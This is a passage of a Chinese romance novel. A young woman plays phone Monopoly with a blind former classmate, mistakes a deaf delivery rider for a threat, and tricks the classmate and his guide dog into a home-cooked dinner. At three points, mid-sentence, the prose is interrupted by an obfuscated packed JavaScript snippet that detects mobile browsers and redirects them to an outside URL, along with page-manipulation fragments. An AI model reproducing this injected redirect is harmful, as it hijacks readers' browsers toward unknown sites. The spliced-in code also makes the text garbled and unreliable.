少年时代时,明明趁着放学间隙连和他搭话都会紧张到咬舌头的自己,居然会在现在的深夜时分给对方拨去一通电话。 而他也接通了,和她招呼说:“你好。” 很有距离感的招呼。 仿佛有谁在注视着她似的,虞谷秋不由得坐直身体,还用手拨了几下头发。 她尽量自然地闲聊说:“已经很晚了,不会打扰你休息吧?” “还好。直接来吧,怎么玩?” “我会详细地说你和我的行动,你只要告诉我你的选择就好了。” “我怎么确认你跟我说的都是实话?” “这个你放心,不要质疑一个习惯了左手和右手互搏的玩家的诚实。” “……那来吧。” 虞谷秋把蓝色和红色的棋子一起放在起始点,想像着汤骏年此刻就坐在自己对面,跟他说:“现在我们起始金额是三千,我大方让你先来,你是红色。”她抛动骰子,“五点——你来到了意大利!500金,要买吗?” “当然。” “那你现在只有两千五,记得扣掉哦。”虞谷秋继续抛动骰子,“到我了——我是六,来到了德国,500金,我也买。” “好了,现在又轮到你了——是四,你走到了问号,是抽命运卡。你告诉我你要抽第几张吧?” “第六张。” 虞谷秋抽出卡一看,神情一乐。 “你在边境偷渡被抓,被送去监狱,停留三回合。” 汤骏年没支声,但她却好像感受到他无语的心情。 她赶紧申明:“我可没有骗你啊。” 汤骏年嗯了一声:“我没有怀疑你。” 这句话听在她耳朵里却不免心虚,她含糊地应声,抛骰走到了火车站,可以去地图上的任意一个位置。 虞谷秋沉吟着,说:“我选择去监狱。” 汤骏年很诧异:“为什么?” “这样就可以带你越狱了。” “……大富翁还有这个规则?” “你看,我们都静默三个回合的话,这三个回合不就等于不存在?”虞谷秋振振有词,“从时间上来讲,我们就是越狱了。” 被她的话绕进去,汤骏年顿了一下才没有跑偏。 “重点是你不该来监狱,这样你就拥有三回合。” 虞谷秋反驳:“没有什么该不该的。是你说,小鸟可以去任何地方。” 他似乎没想过她会这么联想,于是问:“原来你是小鸟吗?” “还不是。但我正在努力,从这片世界地图开始。”她语气轻快得仿佛真有只小鸟在摇摇晃晃地乱飞,“汤骏年,我们接着环游世界吧。” 电话那头很安静,她恍惚都以为是他挂断了,直到听见他低声说,那真是久违的旅行了。 伦敦、东京、纽约、巴黎、慕尼黑……转眼之间,地图上被棋子的标志填满,今夜他们可真忙碌啊,辗转去了这么多地方。 虞谷秋最后说得口干舌燥,中途下单的奶茶仿若及时雨送到了。 她听到敲门声,自然地对门外喊了一嗓子:“放门口就好,谢谢!” 接着她跟电话里的汤骏年说自己去取一下奶茶,稍微暂停一下,踩着拖鞋小跑过去开门。 这些年独居养成的良好习惯使得她在开门前下意识先看了眼猫眼,就是这一眼,虞谷秋呼吸一滞。 有人一声不响地站在门外。 他一手拿着她的饮料,一手低着头在摆弄手机。明明她说过放下饮料就可以走。 冷汗瞬间沁满后背,虞谷秋轻手锁好大门,随即不动声色地后退,远离门口回到沙发上,微颤着将手机紧紧贴在耳边。 “……喂。” 她极力压低声音,汤骏年听出了不对劲,立刻问:“怎么了?” “外卖员没有走,也没有出声。”她吞咽下惊慌,冷静道,“我想我先报警比较保险。” “好。” 汤骏年利落地切掉通讯,虞谷秋反手躲到房间里拨通了110,把状况言简意赅地复述了一遍,得到会立即上门的回复后,她才发现掌心的汗水已经将手机壳沾湿了。 还未完全稳定心神,掌心贴着的手机又铃铃振响,她吓一跳,看清是汤骏年打来的。 虞谷秋一接通,以为他要问报警的情况,刚想和他说,他却先开口说:“你走到靠近门口的位置,然后公放这通电话。” 虞谷秋愣了一下,迅速反应过来他可能是想营造家里不止她一人住的状况,便按照他的指示,并主动开口暗示他:“你什么时候回来?我点了奶茶在门口,你一会儿回来顺便帮拿我进来好不好。” 她故意伪装出亲昵的语气,假装成一对情侣,虽然可能效果不是很理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526266|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。 汤骏年硬着头皮陪她演,接着她的话说:“呃……好。” 他也同样想装出亲昵的语气,但他的语气真的好呆。 虞谷秋摸了摸鼻子,在客厅里来回地踱步着,碰上意外的不安,等待警察上门的焦躁,统统被这瞬间汤骏年这声尴尬的好盖过。她深深地掩住面孔,从指缝里吸气,呼气,吸气,呼气,拼命压住笑意。 本来不敢去看猫眼的恐惧在这一刻也消失殆尽,虞谷秋横生出胆子重新看了看,门外一片漆黑,耳朵贴上门也没听到任何动静,看样子是走了。 她将这个情况低声描述给汤骏年,但他还是很严肃地说:“也许并没有走,你千万不能出去。” “嗯,我知道。警察估计一会儿也要来了,你先去休息吧。谢谢!” 她很感激汤骏年,但不想再麻烦对方,夜已经深了。他刚才能打电话过来陪她演这一出已经是意料之外。 不,也不能算意料之外……她一直深知他本质上是个如此好的人,绝不会袖手旁观。 “电话先开着吧。”他不同意现在挂电话,“等警察来再说。” 虞谷秋抿起嘴唇,再次说了谢谢。 她重新回到房间锁好门,坐在飘窗上,灯光开得很大,但抬头仍能看到月亮。 电话那头很安静,但伴随着这种安静,身体的战栗慢慢平复下来。 虞谷秋轻轻喂了一声,汤骏年即刻回应了她。 他努力扯开话题,但很明显不会找话题。 因为他说的是:“其实还没问过你,你名字是哪个dong,冬天的冬吗?” 不过这个问题成功让虞谷秋将所有害怕的情绪一瞬间抛在脑后,心虚占了上风。 她支吾着还给自己编了个像模像样的理由:“对,因为我在冬天出生。” “原来如此。”他附和,“不错的名字。” “哪里不错……你太敷衍了。” 虞谷秋忍不住吐槽,这可是她花了一秒都不到编出来的名字。 汤骏年说:“名字里有季节的话就会感觉很好听。” 虞谷秋自然不信,只觉得他连安慰人的谎言都显得真诚。 她不再纠缠于这个假名字,怕继续说下去露馅,转移话题说:“好吧,相信你了,毕竟你刚刚的演技真的不太好。” 对面沉默了一会儿,干巴道:“那真是抱歉了,我不知道怎么跟女生亲密地讲话。” 这话令虞谷秋陷入怔忪。 “你没有……”她深呼吸,“你没有谈过吗?” “没有。” 是因为眼睛的关系吗?她很想这样问,但又觉得这问题隐含着一种歧视。 她换了一种问法。 “是一直没有喜欢的人吗?” 汤骏年的回答卡顿了。 他似乎已经做好了回答眼睛相关的准备,并没有想到飞来的是这个问题。 一个就像对其他眼睛健全的人一样问出的问题。 虞谷秋听到电话一直安静,担心这个问题还是缺乏边界感,着补说:“我随口问的。抱歉啊。你不用回答我。” 汤骏年这才出声说:“没关系,我只是在回忆。” “回忆?” 他的声音听上去有些遥远,似乎正在时光的隧道里游走。 “我确实一直没有喜欢的人,但好感的人有过一个……在我的眼睛还看得见的时候。” 10.第 10 章 听到汤骏年亲口承认,虞谷秋呼吸骤停了一刹那。 说不上来这瞬间的心情,像以前小时候信号不好的电视机受到四面八方的干扰:惊讶,好奇,猜测……咔嚓,大脑瞬间花屏了。 他眼睛还看得见的时候……初中小学年级太小,大一时间又很短,汤骏年不太像是会对人一见钟情的类型,那么,极有可能是高中。 是同班同学吗?她也认识的人? 虽然达不到喜欢的程度,但对于那个时候的汤骏年来说,已经有了感兴趣的人这件事就已经足够令她嫉妒。 如果那个对象是她从未遇见过的某某,她只会羡慕。可一旦原来是朝夕相处过的某位,她就开始坐立难安了。 这个问题开始猛烈灼烧着她,虞谷秋忍不住追问:“是怎么样的人?” 但没有给汤骏年回答的余地——警察来了。 他们按照流程询问了事情发生的具体经过,表示目前没在小区外和楼道发现可疑人员,让虞谷秋向外卖平台报告一下事情经过,看看这位骑手是不是有问题。 虞谷秋这时点开平台,当时她专心于和汤骏年通电话玩大富翁,居然漏掉了三条消息。 她点开未读的红点—— 【您好,我是聋哑人不方便打电话,您的餐到了,奶盖很容易化,请早点取哦!】 【您没开门,我就放门口啦,祝您用餐愉快!】 【[图片]】 对方的外卖认证上有一个听障骑士的标志。 虞谷秋这时仔细回想她从猫眼上看到的那一幕,恍然地意识到,当时可能对方正在给她发送消息,因为他无法说话。 她将这则重要消息告知警察,最终以乌龙收尾。 电话还接通着,汤骏年也能听清这边的进展,虞谷秋难为情道:“对不起,麻烦你到这么晚,结果是虚惊一场。” “最后结果是安全的就好。” “是啊……”虞谷秋苦笑,“我刚才太神经质了。” “你自己独居,应该保持这样的警惕心。” “如果我再多想一点就好了……” 日常自己做饭的次数比较多,点外卖屈指可数,之前从没遇到听障骑士送餐,也就下意识地没有这个概念。 但其实生活里,这些患有障碍的人群一直在周围,只不过他们经常是沉默的,不被考虑和看见的人群。 在没能和汤骏年重逢之前,她在街头完全不会去注意红绿灯转换时是否会发出声音,不会去注意被占满的盲道。或者说注意到也不会去费力气挪开,毕竟她也几乎没看到有盲人使用盲道,它已经成了另一种意义上的停车场,这似乎成了大家默认的事。 而她能做到的就是不主动去走那儿,但也并非是为了盲人着想,只是觉得走盲道硌脚。 生活在这个由“正常人”占大多数的世界里,她也作为一个某种意义上的“正常人”同样享受着理所当然的便利。 想到这里,虞谷秋的心里堵得慌。 那位听障骑士在担心她的奶盖会化,而她在担心他是不是不怀好意想伤害她。 她辜负了对方的好心,奶盖早已化了。 汤骏年大概能感受到她沉默中蔓延的愧疚,轻描淡写道:“只是误会,你不用想太多。” “虽然是个误会,但是……” “你只要想象成平行宇宙,谁都没有错,我们只是在不同的世界里。” 虞谷秋敏锐地察觉到他在对话中,不自觉地将代词变了,不是你和他,而是我们。 我和你,你和他,我们都在不同的世界里。 通话终于断了,不可思议的时常,2小时13分钟37秒。她的人生里从未有过和人在夜晚进行如此漫长的通话,他们的人生中共享了两个多小时,两个人的关系理应在这个夜晚靠近了一点点。 但事实却相反。 她觉得他们之间更遥远了。 * 虞谷秋睡前打赏了骑手表示了感谢,躺在床上的时候又突然想起,今天的汤骏年没有给自己出考题。 她看着他们的对话框,再度生出了靠近的怯意。 反反复复输入,又反反复复删去。 就在这时,她看见了对方正在输入中的状态。 虞谷秋怔愣着停下手,点开汤骏年发来的一条语音。 是无需她提醒他自己也想起来了的考题。 这次的语音很长,足足60秒,但内容却很重复,频率稳定的翻动书页的声音,错不了。 这次换她无比肯定地回答:“翻书的声音。” “正确。” “你录那么长要答错都难,我听得差点直接睡着。” “那很好,祝你今晚睡个好觉。” 虞谷秋这时后知后觉到,汤骏年是有意为之。 在这个情绪像过山车一般的夜晚,这个白噪音般催眠的声音是他对她的安慰。 虞谷秋外放着声音翻了个身,枕头摩擦着耳朵,痒痒的,心中的那点怯意在翻书页的声音中也随之被翻过,新的一页被翻开。 她拿过手机,对着那头的汤骏年说:“我明天请你吃饭吧,你不能拒绝我。” “为什么?” “因为今晚欠了你很多人情。”她说着实话,虽然这实话里包裹着私心,“我向来不喜欢欠人人情,所以如果你不想让我请你一顿,我会一直吃不好睡不好。” “……再说吧。” 他的回答听上去似乎很为难。 但这样的回答在虞谷秋听来无异于“可以”。 她慢慢将脑袋埋入被窝里,手指滑动着再次点开微信的声音。 书页一页一页地翻动着,闭上眼睛,如同身在高三的夜晚,晚自习间班级安静得过分,就剩书页翻动的声音。 她听着这样的声音,总忍不住打长长的哈欠,但又怕来自于班主任在窗外的凝视,困意在担惊受怕中来回拉扯,但心理最后不敌生理,头一歪睡了过去。 醒来时,她发现自己的面前有一本立起来的习题本,角度放得很巧妙,配合着她垂头的姿势,从窗外的角度看会有一种她一直在钻研习题本的错觉。 她问同桌,是你帮我弄的吗? 同桌摇头,朝汤骏年的座位努嘴说,是班长刚才发的习题本。 她后来一直没问汤骏年,是故意还是就凑巧放成了那样呢? 那时她害怕被他认为自作多情——将他随手的举动解读为掩护自己睡觉。可若是她当时去确认一下,或许事实就是这样。 不是她自作多情,而是她明白地认识到,他就是那样润物细无声的人。 这一晚听着翻书页的声音,虞谷秋在梦里再次回到了教室。 晚自习结束的时候,她跑了上去,叫住了背着单肩包走入自行车棚的少年。 他回过头,瞳仁里辉映着整栋教学楼的明亮灯光。 她朝汤骏年说谢谢,我明天请你吃食堂吧。 而他会怎样回答呢? 虞谷秋睁开眼睛,怅然若失地醒了。 * 第二天,虞谷秋主动跟汤骏年说了早安,目的自然是邀约时间。 她知道这次邀约不会顺利,但他既然说了再说,她就拿出再说的耐心来,他说今天不行,那她就提议明天,说明天不行,那就大后天。 她给汤骏年的回复里说,反正我有一辈子的时间。 不知道是不是这句话把他给震撼到了,他拒绝过的人里大概没有如此胡搅蛮缠的,或者说自从他盲了之后,再也没见过如此胡搅蛮缠的了,于是她心满意足地收到他的松口。 “那就今天吧。” 虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531151|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谷秋心里暗叹,披个马甲就是好,不要脸起来也是理直气壮。 她主动包揽预定餐厅的工作,根据高中时期在食堂观察过他的点餐来看,若口味没大变,汤骏年应该会喜欢酸辣的菜色。 午休的时候她刷了一小时的网上推荐,找家餐厅不难,可若是要找一家第一次和汤骏年吃饭的餐厅就很难了。 她想给他留下好的体验,这样子再约出来第二次就不再是难事了吧?所以食物必须得好吃。 终于,在午休结束前,虞谷秋瞄准了一家紫荆花园附近的云南餐厅,像网警一样翻了所有的差评,直到确认没有太过分的内容,便立刻打电话跟对方预约了位置。 直到预定成功的短信发进来,她心里的大石头才落地,把地址发给汤骏年。 本以为万无一失,可汤骏年的一个问题让她迟疑了。 “这家餐厅有外座吗?没有的话可以允许飞飞进入吗?” 虞谷秋一愣。 汤骏年坐在店外唯一张桌子吃饭的画面猛地蹿入脑海——服务员说他自愿坐在店外吃饭。 她感觉可笑地咬住牙关,原来啊,原来是这样的“自愿”。 “我现在和店里确认。” 在打去电话之前,虞谷秋先做了下功课,得知的确有导盲犬可以进入公共场所的规定,于是底气十足地拨通了电话,势必不让汤骏年再被隔在店外。 “您好,我是刚刚预定了餐厅的吴女士。我的同行人会带一只导盲犬,没问题的吧?” “啊?” 接电话的女生呆了一下,感到为难地说:“稍等,这个我得请示一下我们上级。” 片刻后,女生委婉地向虞谷秋说不方便进入。 “因为我们的客人有一些可能会对狗毛过敏之类的,如果发生意外事件……我们也不好处理,希望小姐姐您能体谅一下这个情况哈。您看看要不要换一个允许宠物进入的餐厅呢?” 对方搬出其他客人的名堂,好似她据理力争下去是她在强人所难。 虞谷秋觉得自己当然可以再争,但不知为何,听到宠物两个字,她的愤怒被切割成一片一片的无力。 “导盲犬不是宠物。” 她挂前说道。 虞谷秋握着手机呆坐了一会儿,终于理解了汤骏年那句“再说吧”的含义。 原来在外头吃饭并不是他们两个之间达成协议就好,还需要第三方的首肯。 也许她再换一家,还会收到同样婉拒的回复,直到一家家找下去,当然能找到能包容他们的。 可这样的过程足以消磨掉食欲,只剩下饱腹的憋闷。 他们只是想吃饭的普通人,飞飞也是一条工作很努力的小狗。 等到他们真的进到餐厅,飞飞为了不影响到别人,还只能把自己缩在座位最角落。若是想要慢慢地用餐,对它来讲是难熬的酷刑吧。 想着那个画面,虞谷秋深深地揪起了心。 她对几分钟前,凭着搜了一句规定就雄赳赳气昂昂的自己感到可笑。 说白了,这条规定不过是另一条被占满的盲道。 就算她再怎么不愿意承认,他们所生存的世界的确是不同的。而汤骏年的世界到底有多小呢?只有家和工作地这两点之间吗?没有任何新鲜感的生活不会让人厌倦吗? 疑问蜂拥而来,虞谷秋下定了决心。 她还是要找一家餐厅,让汤骏年踏出他的世界瞧瞧。 但她不想经过那种不愉快的过程了。 所以——“我换了另一家餐厅。”她给汤骏年发去消息,“不用顾虑地带飞飞过来吧!” 过了一会儿,汤骏年不放心地回复:“跟店家确认过了吗?” 虞谷秋笑着说:“店家表示热情欢迎。” 她这次给他发过去的地址,是她的家。 11.第 11 章 汤骏年可以说是被她骗过来的。 她并非直接告诉他来家里吃饭,只说是家附近的一家餐厅,然后问了汤骏年的地址打算去接他,汤骏年原本坚持自己可以打车,但虞谷秋也坚持要去附近办事,可以顺便接他。 她提前做了一些导盲犬相关的功课,知道它们只能熟悉固定的路线,对于陌生的路线并不具备领路的功能,这就需要他人的指引——也就是她上场了。 因此,她终于顺理成章要到了汤骏年工作的地址,虽然她早已经知道,但这和他主动告知她有天差地别。 距离他今天的下班时间还有一点,虞谷秋已经来到了清身盲人按摩馆前。 再次来到这里,短短数日,心情却截然不同。 她不再提心,也不再沉重,而是翘首以待。 耳机里的歌放到“令梦中荒野盖满荷花”,虞谷秋一眨眼,看见了梦中的人在不远处出现。 他牵着飞飞从店里走了出来,虞谷秋用力挥手,并大叫他的名字。 “汤骏年!” 虽然知道他看不见,她还是一直挥着手,直到小跑到他跟前。 汤骏年的头又微微转了转,望向她的方向。 “有等很久吗?” “不会,才刚到。” “等会儿就麻烦你带路了。”他晃了晃狗绳示意,“你叫飞飞的名字,它会跟你走。” “真的吗?” 虞谷秋好奇地蹲下身对上拉布拉多的眼睛,试探地叫了一句飞飞。 狗狗便摇晃着尾巴,眨巴着眼睛看着她。 虞谷秋一下子克制不了怜爱,很下意识地想伸手摸摸它。电光石火间,被汤骏年提前叫住了。 “你不能摸它。”他解释道,“这样会扰乱它工作。” 虞谷秋连忙将手背到背后,尴尬地站起身。 “我没有想摸它。”她紧急澄清,“真的,我知道不能在工作时候摸它。只是刚才它实在太可爱,我有点鬼迷心窍……” 汤骏年的脸上难得露出很淡的笑意,低下头揶揄地对着飞飞说:“看来是你的错了。” 飞飞无辜地继续晃着尾巴。 虞谷秋走在前面,不断回头确认跟在身后的飞飞和汤骏年。 真的很神奇,真的只是叫了一下它的名字,它就像一个目不斜视的士兵跟在将军身后一般跟着她,绝不会偏移。不过也有例外的时候。 走到某处时,虞谷秋发现飞飞的脑袋歪向别处,她顺着望过去,发觉街边正停着一辆三轮,摊主拿着一大捧将脸淹没的气球大声叫卖着。 而令飞飞看傻眼的是一个正在遛狗的女人买下了其中一只气球,并把气球绑在了小狗的身上,小狗肉眼可见地欢快,傻乎乎绕着自己的身体转圈圈。 虞谷秋将这个画面描述给汤骏年,告诉他:“飞飞好像也想要那个气球,眼巴巴地看着呢。” 汤骏年为难地想了一会儿,说:“气球可以买,但不能绑它身上。” “那绑谁身上?” “你或者我。” “……那还是算了吧。”虞谷秋低下头对飞飞说,“我知道工作偶尔会想要摸鱼玩,今天我们就先忍一忍!” 走出气球三轮车,汤骏年忽然在她身后轻声说:“谢谢你告诉我这个。” “什么?” “我以前都不知道飞飞在路上会注意到这些。”他喃喃,“它原来也是个爱贪玩的小狗啊。” * 两人一狗进了地铁,地铁的工作人员又很热心地引导着他们,像上次一样把汤骏年一路上送上车厢,尽管汤骏年说不必。 接着,虞谷秋就感受到好奇的目光纷纷向他们所在的角落涌过来。 上次隔了一节车厢,虞谷秋并没有发现那些目光原来很赤裸。 有些生理健全的人喜欢凝视那些并不健全的人,明明毫不相干,但某种居高临下的伪善又会让他们觉得这种凝视不妥,瞥到便匆匆克制地移开目光。 可对于看不见的人,那连这层顾虑都没有了。 更何况还是一个带着导盲犬的盲人呢。他不会感受到冒犯,还可以满足不常见的猎奇心。因此,有人甚至掏出了手机在偷拍,不是拍人,而是拍更不常见的导盲犬。 虞谷秋怒从心头起,不动声色地迈了一步,严严实实地挡住镜头,并向对方明显撇去一瞥。 对方脸色尴尬,若无其事地低下头假装玩手机。 到了换乘站,人潮汹涌着上下车厢,汤骏年忽然对她说:“应该有位置空出来吧?你去坐着,不用跟我一起站在这里。” 虞谷秋看着空位说:“已经都坐满了。” “真的?” “真的。” 地铁晃荡着,人来来去去,座位空了又满,虞谷秋像个骑士,一路站在汤骏年和狗狗的身边。 * “就是这里吗?”他问。 出了地铁,虞谷秋领着汤骏年一路向小区走去。 “那家店不好找,在小区里。”虞谷秋如今撒谎已经面不改色,“还剩一点点路了。” 汤骏年不疑有他。 走到家门口前,虞谷秋更庆幸自己租的是一楼,省去了很多不必要的麻烦。 不过此时,汤骏年已经察觉到了异样,这里过分安静了。 他立刻停下脚步问。 “我们到底要去哪儿?” 这话问得着实令虞谷秋心虚,她的气势顿时从引路的将军变成了虚弱的人狗贩子。 她干脆不吱声,掏出钥匙将门打开,铁门拉开的动静在沉默中异常刺耳,跟着慢吞吞地交代实话。 “——我家。” “……” 汤骏年愕然地站在原地,张了张嘴,又闭回去。 半晌,他面无表情道:“我现在走还来得及吧?” “我菜都备好了!”她急吼吼地说,生怕他掉头真走了。 他神色严肃。 “你不应该骗我。” “不骗你你肯定不愿意来家里啊。”虞谷秋小声。 “我会来的。答应过别人的事我不会反悔。” 虞谷秋却在心里默念了一句你才是骗子。 你当年还说答应要跟我一起看电影,最后不就是反悔了吗? 她却无法说出证据,只好狡辩道:“我也没算骗你,餐馆里不是有一种类叫私房菜吗,你就当作来吃私房菜……” “不管怎么说,隐瞒信息就是欺骗。”他叫出她的‘名字’,“吴冬,不要有下次了。我不喜欢别人骗我。” 虞谷秋心里咯噔一声。 在这个要命的节骨眼,他念出的还是她骗他的假名。 她干巴巴地说了句知道了。 两方都陷入沉默。 最终,汤骏年妥协说:“下不为例,那今天就麻烦你了。” 他语气比之前都要客气,牵着飞飞慢慢进了门。 虞谷秋看着他的背影,喉咙被掐住的感觉,跟在身后垂头丧气地关上门。 她知道自己弄巧成拙了。 如果她没有撒谎,按照自己的想法实话跟汤骏年说……气氛就不会这么尴尬。 但更让虞谷秋低落的是,今天这番交谈让她知道自己完蛋了。 她亲手埋下了一颗地雷,不知道未来哪一步踩到,然后将把他们的关系炸得碎裂。 也许最好的办法,就是现在坦白。 ——但是,这个谎言就不是那么轻飘飘可以盖过去的。 如果说了,大概只是将他们关系碎裂的时间提前到现在。一段建立于谎言之上的关系,地基都抽掉了,还能剩下什么? 虞谷秋后知后觉地意识到她已走进死胡同,没有办法回头。 只能瞒到底……反正他也看不见,不会知道的。 下定决心,她一扫心头的阴霾,若无其事地招呼汤骏年坐下。 “你去沙发上坐着就好,飞飞可以坐我的懒人小沙发。” 即便他看不见,屋里她还是临时打扫了一番,虽然和一尘不染这四个字相距甚远,但至少沙发上原来堆成小山的衣服都塞进衣柜里了。 杨芩之前来家里找她玩,看见她的房间曾吓一跳。 松散挂在沙发上的衣服,水槽里堆着昨夜没洗的碗,茶几上凌乱叠着的书。这一切怎么都无法让她联想到养老院里什么脏活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541862|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 累活都干且干得漂亮的虞谷秋。 杨芩当时震惊无比,说我以为你私下里也是个勤快的人。 虞谷秋不以为意,因为那是工作啊。 杨芩想不通,嘟哝你这么会照顾人,却原来不晓得怎么照顾自己。 虞谷秋不想解释懒惰才是她照顾自己的方式。 从小打扫养父母家里的一切,长大后打扫老人们的一切,她习惯了这种方式,这是她的工作,所以没有关系。 只剩下她一个人的时候,她终于有权利解放自己。 汤骏年松开了狗绳,解开了它的小衣服,蹲下身摸了摸飞飞的脑袋,似乎这是一种告诉他下班了的信号,然后拍了拍它的屁股,它便一溜烟地满屋乱蹿,跟刚才被牵着的乖样截然不同。 他伸出手在空中打了几个响指:“飞飞,不要在人家家里捣乱。” 虞谷秋却笑着说:“没有关系,它现在饿吗?我也给它准备了晚餐。” 他略带诧异道:“你给它准备了?” “水煮鸡肉拌南瓜。”她把菜端出来,“它可以吃吗?” 汤骏年不自在地抿了抿唇,点点头。 “那太好了。”虞谷秋将它端到飞飞面前,招呼道,“私房小餐馆的第一道就让我们飞飞享用了。这可是别家私房菜都不会有的独家菜!” 汤骏年一言不发地看着。 虽然这么说很奇怪,但她抬起头时,就看到汤骏年微微垂着头,朝着她们的方向,似乎他能看到这一切。 “你现在可以摸摸它了。”他忽然开口。 “可以么?” “嗯,下班了想怎么摸都行。” 虞谷秋面色一亮,不客气地朝着飞飞的大脑袋呼噜过去。 狗狗专心低头干饭,一边自动将脑袋伸过来一些,很识时务以这种方式为自己支付着“餐费”。 她依依不舍地收回手,毕竟还有一张嘴巴要喂,赶紧站起身走向厨房。转眼看到汤骏年闻声想跟过来,连忙阻止他:“你干嘛呀,坐着就好了。” “我可以帮你打下手。” “不用的,你见过去饭店吃饭还要去后厨帮忙的客人吗?” “没有。但我也没见过会为飞飞准备晚餐的饭店。” “……顺手的事。” “我帮忙也很顺手,你不相信吗?” 锅里的汤刚才已经炖上了,毛血旺她怕自己做得不好叫了外卖还没到,米饭正在煮,现下再炒一道青笋虾仁就差不多了。 他想要有参与感,那就给他参与感吧。 虞谷秋妥协说:“那……你来帮忙洗一下芦笋好了。” “好。” 他脸上的神情放松了一些,沿着墙壁继续摸索着走过来,虞谷秋疾走他身边,不需要他教,背对着他拍拍自己的肩膀说:“我带你走过去。” 这是专业领导盲人走路的姿势,让对方把手搭在肩上,她都事先查了。 “……谢谢。” 惊讶再次浮过他的脸,汤骏年迟疑地伸出手,慢慢在引导下将手放到了她的肩膀上。 他把手放上来的刹那,虞谷秋想起了那天陪林淑秀去的探戈俱乐部,想起了在舞池里看到的成双成对拥抱的人群。 虽然,此时他们和那些人唯一的相似之处就只是一只手的连接,但他们的身体在这一刻也连接在一起,她的步伐带动了他的步伐,他的感官完全依赖着她。 他们就像是背对着慢慢游走的探戈。 心神不宁地将人带到了水槽边,感受着他的手松开,虞谷秋砰砰跳的胸口才得以缓解。 窗外,夕阳余晖被蓝色慢慢压过,寻常的那些声音照例响起:楼上的人练琴,隔壁的人打开电视,窗外的人散步聊天,车水马龙。 她往常是沉默的,而这个傍晚,她也加入到这些声音中,成为烟火气中的一部分,清清嗓子,将袋子里的芦笋抽出来递过去说:“在这里哦。” 汤骏年嗯了一声,手便从空中摸索过来。 虞谷秋这时倏忽走了下神,听到楼上的琴声今天练得不是很顺利,有半秒的空拍。 那半秒的空拍,汤骏年错抓到了她的指尖。 12.第 12 章 “您的外卖到了!” 门外一阵敲门声,虞谷秋小跑着过去开门,把送到的毛血旺拿到厨房重新装碗。 这么一进一出,她的心跳依然很快,但已经变成了运动的生理性加快,不与汤骏年关联。 至于汤骏年,他则是一句语速很快的抱歉,便低头去摸水龙头,一点不慌乱,也看不到她的慌乱。 虞谷秋本来还想去引导他,但又怕两个人的手再度碰到,便用声音提醒他位置,一边注视着他的动作。 这一注视中,她仔细地看到了汤骏年的手。 记忆中,他有一双和脸一样英俊的手。那双手适合戴着名表,珍珠,银戒,等等,只有那些优雅的东西足够与之相衬。 但现在她视线中的手,掌根,指腹,拇指的虎口,明显的几处老茧,不明显的就更多了。 那是长年累月被命运反复施力后磨出来的痕迹。 不光如此,还有一些不知是什么伤口留下的疤痕,有的像是刀伤,有的像烫伤。 直到汤骏年问她这些芦笋要不要帮忙切块,她意识到什么,便问道:“你手上的伤……是做饭留下的吗?” 汤骏年微微愣,尔后想了想说:“不止是做饭。” “那还有什么?” “忘了。” “……” “这没什么的,手就是我的第二根盲杖,工具用多了就容易磕磕碰碰,很正常的。”他笑笑,“不过现在已经不太会受伤了。” 虞谷秋慢慢地揪起眉头,但不再说我来,刀柄的方向冲着汤骏年,和菜板一起推了过去。 她想尊重他同生活抗争后留下的这些伤口。 汤骏年碰到刀柄,先是试探着刀背的位置,另一个手指划过去,丈量着总体的长度,再然后拿起刀掂了掂,按着芦笋每节的凸起处准确无误地切下去。 他每切一次,虞谷秋就忍不住屏一次呼吸,生怕刀口有一厘米的偏差,那就直接切中手指了。 即便她愿意相信他,可就是止不住担心。 汤骏年一边切,一边冷不丁问:“你现在是不是在看着我?” 虞谷秋收起目不转睛,嘴硬说:“没有啊。” “我没听见你的声音。” “呃……”她转头拉开橱柜门,“我刚才是在思考用哪个碗而已。” “不用担心我。”他强调道。 “没有担心你。主要是你抢着活做,我都没什么可做了。”虞谷秋叹口气,“真的,你切完这个就去坐着休息吧,我炒一下虾仁出锅就能开饭了。” 这一次汤骏年不再坚持,点点头,迅速地就将芦笋切完放下。 离开厨房时他甚至不再用她帮忙,说刚才走一遍脑子里就有大致的地图了。 虞谷秋好奇地杵着脖子看,真的看见他没什么障碍地一边摸索一边走出去,然后在沙发上安静地坐下来。 此时已经吃完饭的飞飞亲昵地扑上汤骏年的怀抱,他抱住它,在月亮升起中的柔光中耐心地替它梳理毛发。 这一幕与自己无关,可虞谷秋仍感受到了幸福。 一种需要与被需要所组成的幸福。 * 菜全部端上来时,虞谷秋又开始紧张起来。 现在的场景就连在梦中也不会出现。汤骏年在她的房间,用着她购置的碗筷,即将和她面对面吃一顿算是他们一起共同完成的晚餐。 